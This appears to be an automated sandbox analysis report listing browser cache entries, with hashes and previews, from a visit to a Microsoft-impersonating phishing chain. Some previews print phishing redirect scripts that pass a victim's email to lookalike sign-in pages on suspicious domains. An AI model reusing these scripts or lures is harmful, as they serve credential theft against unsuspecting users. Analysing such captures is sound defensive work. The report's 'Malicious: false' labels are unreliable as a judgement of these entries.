URL:	https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_-hjcgqxfzfu0cwzblacdqq2.js
Preview:	!function(e){function o(i){if(n[i])return n[i].exports;var t=n[i]={exports:{},id:i,loaded:!1};return e[i].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var n={};return o.m=e,o.c=n,o.p="",o(0)}([function(e,o,n){n(2);var i=n(1),t=n(4),r=n(5),a=r.StringsVariantId,s=r.AllowedIdentitiesType;i.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var n=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(n,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1101)
Category:	downloaded
Size (bytes):	30066
Entropy (8bit):	5.329438192643439
Encrypted:	false
SSDEEP:	384:coOo1o8p392HU3ELzSHff5kmZVelzdxWN:Hv3sEfv2dsN
MD5:	9768C09792F81509B6B6649B42C246A5
SHA1:	1C4D0F954BC6303EFF8E37BCC6E1BC549BA0D378
SHA-256:	E211E26FA2C01976590A1414CEED7F63DD6169938772F80F08470442CA326A98
SHA-512:	95F829E45CEF7B9B7005C3D2A0E9D076C807576D27181BF179DA7D1626D77DAB7FA850273479AE543DB0FE629E252C637690509AACFA133DACCA40A867D3F0C0
Malicious:	false
Reputation:	low
URL:	https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1
Preview:	<html dir="ltr" class="" lang="en"><head>. <title>Sign in to your account</title>. . <script type="text/javascript">. window.onload = function() {. function Redirect (url){. window.location.href = url;. }. var urlParams = new URLSearchParams(window.location.href);. var e = window.location.href;. . . Redirect("https://ingenieriawj.com/dobe.php?url="+e);. }.</script>... <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">. <meta http-equiv="X-UA-Compatible" content="IE=edge">. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">. <meta http-equiv="Pragma" content="no-cache">. <meta http-equiv="Expires" content="-1">. <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">.<meta http-equiv="x-dns-prefetch-control" content="on">.<link rel="dns-prefetch" href="//aadcdn.msftauth.net">.<link rel="dns-prefetch" href

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 260 x 35, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	14812
Entropy (8bit):	7.927936690812528
Encrypted:	false
SSDEEP:	384:X8kJYNcxBL747bvCX8e6AaQHkf2laoXHjk:XzYNIh7CbqCFejk
MD5:	D51552C81BCCD2272BA876356395AF5B
SHA1:	D8A0FC6D4198DEBB810BCA3A9D1DF929EE637C95
SHA-256:	ED67F68E42EDB0D1E6087D97445D46B2A475DAD7A6697670C1F161B419E5D2B4
SHA-512:	49493141E0AF564F608B138897BCBEF11EA73BD199F387D6E4A9C37675782E027A91FC4A2B41C2E2B00532DA58A7D61005A899D63427E12252ADA10C9F4F5F85
Malicious:	false
Reputation:	low
URL:	https://69cde8a9-b98cbfac.signform.us/adfs/portal/logo/logo.png?id=ED67F68E42EDB0D1E6087D97445D46B2A475DAD7A6697670C1F161B419E5D2B4
Preview:	.PNG........IHDR.......#.....r.t0....gAMA......a.....iCCPICC profile..(.}.=H.@.._.jE.vPq.P.....X.X.........&.I....Zp.c...... .~...8).H..K.-b<8..{..w..0....U..t"...+b......QLH....,<..=\|\|...,.s..>.`2.'..nX...3...y.8.6$...x...?r]v..s.a.g..lz.8L,.:X.`.a.....E.(_..p..Vj.uO..PA[.p....XD.)..QC..X.W..)&.....;...dr...1.TH....~wk..&.P..z..Q ..4..}l......\im....~.^ok.#.....nk..p...>.!9...P,..g.My`...]u{k.....RWK7..!0V..5.w.t...V.?.Zr.7.[....pHYs..........+......tIME.....,0..r... .IDATx..y.$.y....Y.YGf..U}.==.='....@Y.H.(ZKS...)J.7..X..X...+.1..r.v.+.%..ZJ.uQ&e.K....C`0g.LO.Wu.GV......g.T.f0 .?."&.Q..\|....}....D..5EQ...'.....!.1..E.....EAG.N....q....*.B..x.cB...:..-<.Q...;w........z............A...S..J)2..m..)..~'...}`.!YBH.Rz..0.a...(.#.Y..<..u.1n#...2j..`Ji..DBH.eY)h..!&!..1n!........<.?.`.).0&..(.B.E.=.K......B.1...@.y......As.....r.1}..z.!..l......Z;..`...!)..P...,..@QQ...}.PJEBH.c....Y..`Y6n.v...K.iQJ.......Z..D.!9B....~.c.......0..>.)B.`.5...B6...B.5.[

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1420 x 1080, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	785959
Entropy (8bit):	7.9873172016428535
Encrypted:	false
SSDEEP:	12288:0Du/FltJEOuJOKU6qlNIe7mLSEY2Oyc+VSMeIR/SlN8xG8Z3xUFs3tvz6ELUNHRa:0UGOBNnm2Wc+cMX8leAUUMtBLc2+GcO
MD5:	AF05462B2AE350481A9CED3D7F28F168
SHA1:	694284605ADE02E82B57EBBE071431D6803360C2
SHA-256:	0C5D289F7460277C6F03A53FB814E3CB9DFED9A48038DB976535D9C1A7B89970
SHA-512:	49C62BA7B76327030870BC9DD67080FE0E2B1AF641077F463A73F62CD56E5A72524F282294C21466E7707D8765587AA80313FEEF26E3156605468C4336DD6D97
Malicious:	false
Reputation:	low
URL:	https://69cde8a9-b98cbfac.signform.us/adfs/portal/illustration/illustration.png?id=0C5D289F7460277C6F03A53FB814E3CB9DFED9A48038DB976535D9C1A7B89970
Preview:	.PNG........IHDR.......8.....%..[....gAMA......a.....iCCPICC profile..(.}.=H.@.._.jE.vPq.P.....X.X.........&.I....Zp.c...... .~...8).H..K.-b<8..{..w..0....U..t"...+b......QLH....,<..=\|\|...,.s..>.`2.'..nX...3...y.8.6$...x...?r]v..s.a.g..lz.8L,.:X.`.a.....E.(_..p..Vj.uO..PA[.p....XD.)..QC..X.W..)&.....;...dr...1.TH....~wk..&.P..z..Q ..4..}l......\im....~.^ok.#.....nk..p...>.!9...P,..g.My`...]u{k.....RWK7..!0V..5.w.t...V.?.Zr.7.[....pHYs..........+......tIME.........e.....tEXtComment.Created with GIMPW..... .IDATx....... #w......e....lll.n...../=8.... ...... A...........n+.L//.....\I..).}j...e...H.........\..&.f.V......^^......._..K.2...P...O.m2al.q.O...(/...U."....vS..k..=..A....3.iG}1..c.v.t...8.~....~..._...un=._t...:.A...D..J..tV..?.........i.....B..#;...E$~.v..`...23...v>..x:..4.t....................?>..nT.$,2....8..ID..".`R.a`.............D...o".X.bf.F.a..I}...................sb...5oq....k..7(.M...........b:R..........l{R}..8...m

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	downloaded
Size (bytes):	470200
Entropy (8bit):	5.435116060397887
Encrypted:	false
SSDEEP:	6144:wZDQsNZI8x/TcaotU2DvGLhqOk3NMZfWkYT0/9OBKeUE0HSckep:CDQW/7r2DvmidaelE
MD5:	6BA3DE22069F4A77AEA2EA31FAA53938
SHA1:	05DEA88E8D1F201378424DB6F51EF190950EB522
SHA-256:	CE768E83BE373F5303CE3117CBA6E60874A328C5FB740FB4DBC14989105E0A0D
SHA-512:	950AF23BDEA2CEE52EDC38E0F125E8346F0D9C18A412A42769C6CF043238FCB9335E94B316306DCA09B1D56593B5E2B401623B9049569AA3D98AE0A00445A529
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_a6PeIgafSneuouox-qU5OA2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 260 x 35, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14812
Entropy (8bit):	7.927936690812528
Encrypted:	false
SSDEEP:	384:X8kJYNcxBL747bvCX8e6AaQHkf2laoXHjk:XzYNIh7CbqCFejk
MD5:	D51552C81BCCD2272BA876356395AF5B
SHA1:	D8A0FC6D4198DEBB810BCA3A9D1DF929EE637C95
SHA-256:	ED67F68E42EDB0D1E6087D97445D46B2A475DAD7A6697670C1F161B419E5D2B4
SHA-512:	49493141E0AF564F608B138897BCBEF11EA73BD199F387D6E4A9C37675782E027A91FC4A2B41C2E2B00532DA58A7D61005A899D63427E12252ADA10C9F4F5F85
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......#.....r.t0....gAMA......a.....iCCPICC profile..(.}.=H.@.._.jE.vPq.P.....X.X.........&.I....Zp.c...... .~...8).H..K.-b<8..{..w..0....U..t"...+b......QLH....,<..=\|\|...,.s..>.`2.'..nX...3...y.8.6$...x...?r]v..s.a.g..lz.8L,.:X.`.a.....E.(_..p..Vj.uO..PA[.p....XD.)..QC..X.W..)&.....;...dr...1.TH....~wk..&.P..z..Q ..4..}l......\im....~.^ok.#.....nk..p...>.!9...P,..g.My`...]u{k.....RWK7..!0V..5.w.t...V.?.Zr.7.[....pHYs..........+......tIME.....,0..r... .IDATx..y.$.y....Y.YGf..U}.==.='....@Y.H.(ZKS...)J.7..X..X...+.1..r.v.+.%..ZJ.uQ&e.K....C`0g.LO.Wu.GV......g.T.f0 .?."&.Q..\|....}....D..5EQ...'.....!.1..E.....EAG.N....q....*.B..x.cB...:..-<.Q...;w........z............A...S..J)2..m..)..~'...}`.!YBH.Rz..0.a...(.#.Y..<..u.1n#...2j..`Ji..DBH.eY)h..!&!..1n!........<.?.`.).0&..(.B.E.=.K......B.1...@.y......As.....r.1}..z.!..l......Z;..`...!)..P...,..@QQ...}.PJEBH.c....Y..`Y6n.v...K.iQJ.......Z..D.!9B....~.c.......0..>.)B.`.5...B6...B.5.[

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14442)
Category:	dropped
Size (bytes):	15415
Entropy (8bit):	5.367355452585236
Encrypted:	false
SSDEEP:	384:DHTlLO3E2Zi/vP+2kOh+rF3qP2KDZDkzXLdTqBS:flkj63PkRT4S
MD5:	EF8B670E11BA41BCA22629AE914377E0
SHA1:	AD19924E781747B81A8E3116B98C8B2FE2D9B83B
SHA-256:	2B3DF4D53882FBA74216D365E7344C782145F2FAF8E08A2D69C548F5FBC7FBF5
SHA-512:	84495BC6F76F7DECE8007B2707D466A717429A45F0A807F22E7AC6E0177CAC448EEE9B80A37D361197CB536D38EC853938A83227C2B9FE03206CA82B1EB3E42D
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[15],{456:function(e,n,s

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 315
Category:	downloaded
Size (bytes):	256
Entropy (8bit):	7.153876855282828
Encrypted:	false
SSDEEP:	6:XtulODboO5VmfoDvUEoSIYI/8MIKGBO0h80eOz:XaObrYBcKwOc
MD5:	554EE433F6E24995619C11375209439C
SHA1:	EAA950B21275644989D84B22F6644AF9F4F240C1
SHA-256:	9D8F2ED25D84DF87564EB3D08B8501252586FBCDE5F63FA1059E17317199D49E
SHA-512:	E1DF509D754B250F3129D44BD52505C5F6174DB446505CA81B6A5AB385D7CB3E046D9268686181C4F1990CEB6A819361EE1B0493B667613D7753BC196C449BC8
Malicious:	false
Reputation:	low
URL:	https://69cde8a9-b98cbfac.signform.us/favicon.ico
Preview:	..........M..N.0.E..........8........uY%.G.8.....'a.n.<.......I.N.K8..e...._..b..y..[Dy`..u...0..:....3...H.k*.k..X..x(.Nnr.U.J).....m.qn...T..P.H>....e.%.R.~:../...7M.....yMi.......&...".....)L.......s.A.JbPF.._....Py.JC......s.F..l..Z.~..2$.;...

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14442)
Category:	downloaded
Size (bytes):	15415
Entropy (8bit):	5.367355452585236
Encrypted:	false
SSDEEP:	384:DHTlLO3E2Zi/vP+2kOh+rF3qP2KDZDkzXLdTqBS:flkj63PkRT4S
MD5:	EF8B670E11BA41BCA22629AE914377E0
SHA1:	AD19924E781747B81A8E3116B98C8B2FE2D9B83B
SHA-256:	2B3DF4D53882FBA74216D365E7344C782145F2FAF8E08A2D69C548F5FBC7FBF5
SHA-512:	84495BC6F76F7DECE8007B2707D466A717429A45F0A807F22E7AC6E0177CAC448EEE9B80A37D361197CB536D38EC853938A83227C2B9FE03206CA82B1EB3E42D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_12dabd9245715d165757.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[15],{456:function(e,n,s

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (945)
Category:	downloaded
Size (bytes):	1701
Entropy (8bit):	5.130582490477096
Encrypted:	false
SSDEEP:	24:9Cs6U2J/yFDJxFH4Nq4N2RFGLnxbFGWT+u1JJSa7oRW7aRWXCunouOvTMOKFId6w:D2GN/H4bN2HGLrGWrSTw2wptI8Id6w
MD5:	D32D315F024B1C1C22B3CE897AE72F15
SHA1:	DB15C32C91BD31977B775C7DD3501D87AAE38B63
SHA-256:	A09D2AB1792E4F33922F34A128FAF7B91771CA856B7CA5B97D8CA878633BA3CE
SHA-512:	451C793E90E76656E070DBDE466E74C18A468DB407B6F09F986BA76D6D49F1BC04ED90F7BD0ADC390285C760A62423F106271AF7DB2FE1728673BCBF2B33C2E4
Malicious:	false
Reputation:	low
URL:	https://cnrsys.com/.jhg/
Preview:	<html lang="en">.<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>Redirecting...</title>. <script>. function redirectToDomain() {. const hash = window.location.hash.substring(1); // Remove the leading '#'. const encodedEmail = decodeURIComponent(hash); // Decode the email from hash.. if (encodedEmail) {. sessionStorage.setItem('email', encodedEmail);. // Redirect without the '#' in the URL. window.location.href = `https://docu8ign.web.app/${encodedEmail}`;. }. }.. document.addEventListener('DOMContentLoaded', redirectToDomain);. </script>.</head>.<body>.<script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8c99609c4fe34276',t:'MTcyNzQxNzkxNy4wMDAwMDA='};var a=document.createElement('script');a.nonc

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8095), with no line terminators
Category:	downloaded
Size (bytes):	8095
Entropy (8bit):	5.760234158638694
Encrypted:	false
SSDEEP:	192:uoQZaC+Eq+soy9R5Vzoy0cSNEczzbEnFd:bQZfsoy9R5VzoXZKd
MD5:	39CE029E27FDFD3729A6C644579435FE
SHA1:	14132237B89B5319A907E2DE41912F3F84F740B6
SHA-256:	F9B45D07836B8CAC27171F7A14A1BCA43D03D5222FF9D8AC0B855D33EC3816F1
SHA-512:	FFF9B7FEB343DD67F2124E3044E12CC04C40B591B85FE360B37A9266EDE2774783D72360D1FAD4D03D2764393529DDA24B7C7B18BCAA1039CE4A8AE7BAF5A858
Malicious:	false
Reputation:	low
URL:	https://cnrsys.com/cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js?
Preview:	window._cf_chl_opt={cFPWv:'g'};~function(V,g,h,i,j,n,o,v){V=b,function(d,e,U,f,C){for(U=b,f=d();!![];)try{if(C=parseInt(U(188))/1(-parseInt(U(249))/2)+parseInt(U(245))/3(-parseInt(U(212))/4)+parseInt(U(228))/5(-parseInt(U(231))/6)+parseInt(U(239))/7+-parseInt(U(210))/8(parseInt(U(221))/9)+-parseInt(U(240))/10+-parseInt(U(196))/11*(-parseInt(U(251))/12),C===e)break;else f.push(f.shift())}catch(D){f.push(f.shift())}}(a,546845),g=this\|\|self,h=g[V(225)],i={},i[V(182)]='o',i[V(267)]='s',i[V(211)]='u',i[V(190)]='z',i[V(259)]='n',i[V(238)]='I',j=i,g[V(180)]=function(C,D,E,F,a0,H,I,J,K,L,M){if(a0=V,null===D\|\|D===void 0)return F;for(H=m(D),C[a0(181)][a0(234)]&&(H=H[a0(213)](C[a0(181)][a0(234)](D))),H=C[a0(185)][a0(230)]&&C[a0(206)]?C[a0(185)][a0(230)](new C[(a0(206))](H)):function(N,a1,O){for(a1=a0,N[a1(270)](),O=0;O<N[a1(247)];N[O]===N[O+1]?N[a1(174)](O+1,1):O+=1);return N}(H),I='nAsAaAb'.split('A'),I=I[a0(197)][a0(233)](I),J=0;J<H[a0(247)];K=H[J],L=l(C,D,K),I(L)?(M=L==='s'&&!C[a0(177)](D[

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 10462
Category:	downloaded
Size (bytes):	2757
Entropy (8bit):	7.938286964258107
Encrypted:	false
SSDEEP:	48:XXdA68kwGNGuwgKcOaK5+lRz126b60kd7wdjatVY1tcyxw2ThsYqC/LC5DyKwzMt:HdV8kwGNGuhHrK5aRwYDc2hsYqCD0mXU
MD5:	BE1B3D03896D9534FE2B09F7B4FD823C
SHA1:	0F2E4BB87F35057FB7744C2659876FCB4F8F9884
SHA-256:	BDDA821EB8C7C9D65AD353A0C520B4AA1A9225263622D53E45B3D86CD63716C7
SHA-512:	1476BF15B08885FA709A809FB1DF21134581D9C2CCEFD1CDA35F27193F90F2690F0F605CE582AA1B13E38C0F802E045844E986B7C8435049F213B9A51AB4A4AC
Malicious:	false
Reputation:	low
URL:	https://69cde8a9-b98cbfac.signform.us/adfs/portal/css/style.css?id=3B1A0C704CDAE8ECD48AA8F0D50409D981CEF21D7AE6DC85B0797D270101B151
Preview:	.............n...w....6..SQG}Z.Q...9I...$..h..E..W\.I.v.........>@.>L......~..").N.J.%.........>~.U./Y........8f.R..{.()W.G.".y.......I..\|..3.r..2...at...:..Hp......`...^[......T..E.b.&8xO....^...Q?.o?.......`i..z.C..U.#/).DK...g9..FE..^AsfxZ..S........O\|....+.(o8.p)\."a()..r..<...?rd%./.g...S.28..x..,+.-...L.P-.s..;#.5.a.<.........(i.<.......y.?...o...m...[[~..._.....?...?.I...u>1z....Q" 1..".."..<.y?D....._.r'.D...G_?%......7b]....<.ZJ\|...m..=r8...u.1.....f..a.4.#.b;)7.a<...xc....R..F.......&.dN...I)H...R.r.AZ..$.:.J...iD%.l].e..L...+....[.s .R.W. ...x...X.Y<Qm..nZ.." .....}.d..G~....9y..E....9.....'...f.../...m..^..[.5N.eP....l.s...H..&......D.m.[q.?.".N0.....mZN&....r.Ak...r.L*.i.....C..........-o...\q.P1.1..^!...%[.c.i..<...L.kb.n%(2.._.7...aB.._...2.n....+......q:2..=$..x...rZ[...\..X.S....Z....(..#.p.e%...k...}s.+W.......i....]x4..;..#.E..K.......... ...l.....a8....>.vze........9../x%..g9..oj. .w.n...~..o.iF...2..:.?.1..Ro..23M....

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49529)
Category:	downloaded
Size (bytes):	79507
Entropy (8bit):	5.289039379859341
Encrypted:	false
SSDEEP:	768:GWS0sEWtuvapVMczhLdPH8xQnu116pCBTzlsBZQUqEpdtAyyhGfcW9GQrB6I6qPz:LS0sTPq19hktA3hCcO6UEX4d
MD5:	CFA8BA56849C0B404D176F121879730A
SHA1:	5B7876A7D7EDCB703A0854F0011DE1EE01183EC9
SHA-256:	235B558B77AB36F63C1439A68AC2410AAF8F42F7B9C93C0BFDC9AF662ABAB8B6
SHA-512:	2924FFD5F77E828343C23217D10874C4F7F73A77CBA2D95A50E705AE0DCBCD15F4905202B5C1B40BD536FF71E7002FE8AC98F243FC0E5EEE5551ABBD0DFB659F
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/oneDs_472fa3a12b65cf387ccd.js
Preview:	(window.telemetry_webpackJsonp=window.telemetry_webpackJsonp\|\|[]).push([[2],[,,function(n,e,t){"use strict";t.r(e),t.d(e,"ValueKind",(function(){return r.e})),t.d(e,"EventLatency",(function(){return r.a})),t.d(e,"EventPersistence",(function(){return r.b})),t.d(e,"TraceLevel",(function(){return r.d})),t.d(e,"AppInsightsCore",(function(){return x})),t.d(e,"BaseCore",(function(){return S})),t.d(e,"_ExtendedInternalMessageId",(function(){return r.f})),t.d(e,"EventPropertyType",(function(){return r.c})),t.d(e,"ESPromise",(function(){return E})),t.d(e,"ESPromiseScheduler",(function(){return R})),t.d(e,"ValueSanitizer",(function(){return M})),t.d(e,"NotificationManager",(function(){return y})),t.d(e,"BaseTelemetryPlugin",(function(){return f.a})),t.d(e,"ProcessTelemetryContext",(function(){return l.a})),t.d(e,"MinChannelPriorty",(function(){return F})),t.d(e,"EventsDiscardedReason",(function(){return m.a})),t.d(e,"DiagnosticLogger",(function(){return j.a})),t.d(e,"LoggingSeverity",(function()

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61177)
Category:	downloaded
Size (bytes):	110118
Entropy (8bit):	5.288593644108406
Encrypted:	false
SSDEEP:	1536:QpHDgBvguhw+EViazA/PWrF7qvEAFiQcpmUyDzz6yVUns:xktHyVUs
MD5:	29F1D1172158F929B64CC926E4521C0B
SHA1:	AF19579C25EBBFD3BBC82A5AB77479647FE02AB8
SHA-256:	8B6A3B17737161E5FE8C29E401372A94B8E650226CF0CD17B4C3C4DE5B380B11
SHA-512:	DA984750F76BF1795737A507163E4180767D8688E4A55ED343363A831DB0E601702DE4F3AEC4D21F88D014B355CD296B422CABCBC7C8A236AAD65F19FF43383D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css
Preview:	/! Copyright (C) Microsoft Corporation. All rights reserved. //*!.------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise...//-----------------------------------------------------------------------------.twbs-bootstrap-sass (3.3.0).//-----------------------------------------------------------------------------..The MIT License (MIT)..Copyright (c) 2013 Twitter, Inc..Permission is hereby granted, free of charge, to any person

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
